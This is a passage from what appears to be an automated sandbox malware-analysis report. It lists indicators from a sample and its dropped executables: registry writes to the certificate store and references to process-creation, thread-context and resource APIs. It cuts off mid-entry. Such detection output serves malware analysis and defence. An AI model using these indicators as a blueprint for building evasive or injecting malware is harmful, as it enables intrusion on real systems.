"HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "2O1249.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "2O1249.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "2O1249.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "2O1249.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "2O1249.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "2O1249.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")50:T4f6,"" (Indicator: "CreateProcess"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.250189.02B90000.00000004.mdmp, 00000000-00003036.00000000.250189.02BB0000.00000004.mdmp, 00000000-00003036.00000000.250189.02FA0000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessW,404,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00003036.00000000.250189.02BE5000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000000.250126.034F0000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.034F0000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp")53:T4f6,Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "CreateDirectoryW" (Indicator: "CreateDirectory"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "CreateDirectoryW" (Indicator: "CreateDirectory"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "CreateDirectoryA" (Indicator: "CreateDirectory"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")54:T10c5,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp")55:T63a,Sleep@KERNEL32.DLL at 00000000-00003424-35301-11-00156A60 WaitForSingleObject@KERNEL32.DLL at 00000000-00003424-35301-37-00153FEF MsgWaitForMultipleObjects at 00000000-00003424-35301-95-00153680 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00000244-36590-445-00FA867A Sleep@KERNEL32.DLL at 00000000-00000244-36590-1037-00F8C450 Sleep@KERNEL32.DLL at 00000000-00000244-36590-1057-00F8FDB0 Sleep@KERNEL32.DLL at 00000000-00000244-36590-1072-00F8EEA0 Sleep@KERNEL32.DLL at 00000000-00000244-36590-1078-00F9B1E0 Sleep@KERNEL32.DLL at 00000000-00000244-36590-1079-00F88170 Sleep@KERNEL32.DLL at 00000000-00000244-36590-1086-00F88F10 Sleep@KERNEL32.DLL at 00000000-00000244-36590-1092-00F8F0F0 Sleep@KERNEL32.DLL at 00000000-00000244-36590-1096-00F97F60 WaitForSingleObject@KERNEL32.DLL at 00000000-00000244-36590-1102-00F88380 SleepConditionVariableCS at 00000000-00000244-36590-1233-00FA6D9D SleepConditionVariableSRW at 00000000-00000244-36590-1235-00FA6DFC SleepConditionVariableCS at 00000000-00000244-36590-1236-00FA6DDC Sleep@KERNEL32.DLL at 00000000-00004348-41129-114-00CB5A60 Sleep@KERNEL32.DLL at 00000000-00004348-41129-115-00CB57C0 Sleep@KERNEL32.DLL at 00000000-00004348-41129-119-00CB5DE4 Sleep@KERNEL32.DLL at 00000000-00004348-41129-216-00CB88A0 Sleep@KERNEL32.DLL at 00000000-00004348-41129-221-00CB8374 Sleep@KERNEL32.DLL at 00000000-00004348-41129-246-00CB5FDC Sleep@KERNEL32.DLL at 00000000-00004348-41129-2707-00CB6608 WaitForSingleObject@KERNEL32.DLL at 00000000-00004348-41129-3421-00D4099C Sleep@KERNEL32.DLL at 00000000-00004348-41129-3642-00D5128C56:T41f,Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")57:T4a7,Found GetProcAddress() and LoadLibraryA() in an import section (Source: 1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin) Found GetProcAddress() and LoadLibraryA() in an import section (Source: jC9EsXW_1_.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: 011e5dec2e.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: svchost015.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: bEKVmef.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: 42058ad017.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: eNLe4nm_1_.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: Wfo8KJM.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: 2O1249.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: QWKgBhv.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-F524M.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: 011e5dec2e.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: jC9EsXW.tmp)58:T945,Found reference to API "ShellExecuteExA" (Indicator: "ShellExecute"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "WinExec" (Indicator: "WinExec"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "ShellExecuteExW" (Indicator: "ShellExecute"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "" (Indicator: "WinExec"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "set_UseShellExecute" (Indicator: "ShellExecute"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "" (Indicator: "WinExec"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "WinExec"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "ShellExecuteExA" (Indicator: "ShellExecute"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "" (Indicator: "WinExec"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; Source: "00000000-00004348.00000000.250872.04D00000.00000004.mdmp") Found reference to API "ShellExecuteExA" (Indicator: "ShellExecute"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")59:T833,Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "LockResource" (Indicator: "LockResource"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "FindResourceW" (Indicator: "FindResource"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp")5a:T11ef,Found reference to API "MoveFileW" (Indicator: "MoveFile"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "MoveFileExW" (Indicator: "MoveFile"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp")5b:T4f6,Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "CommandLineToArgvW" (Indicator: "CommandLineToArgv"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp")5c:Tf00,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp")5d:Tad5,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "OpenProcessToken.3" (Indicator: "OpenProcess"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "OpenProcessToken.3" (Indicator: "OpenProcess"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")5e:T68d,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 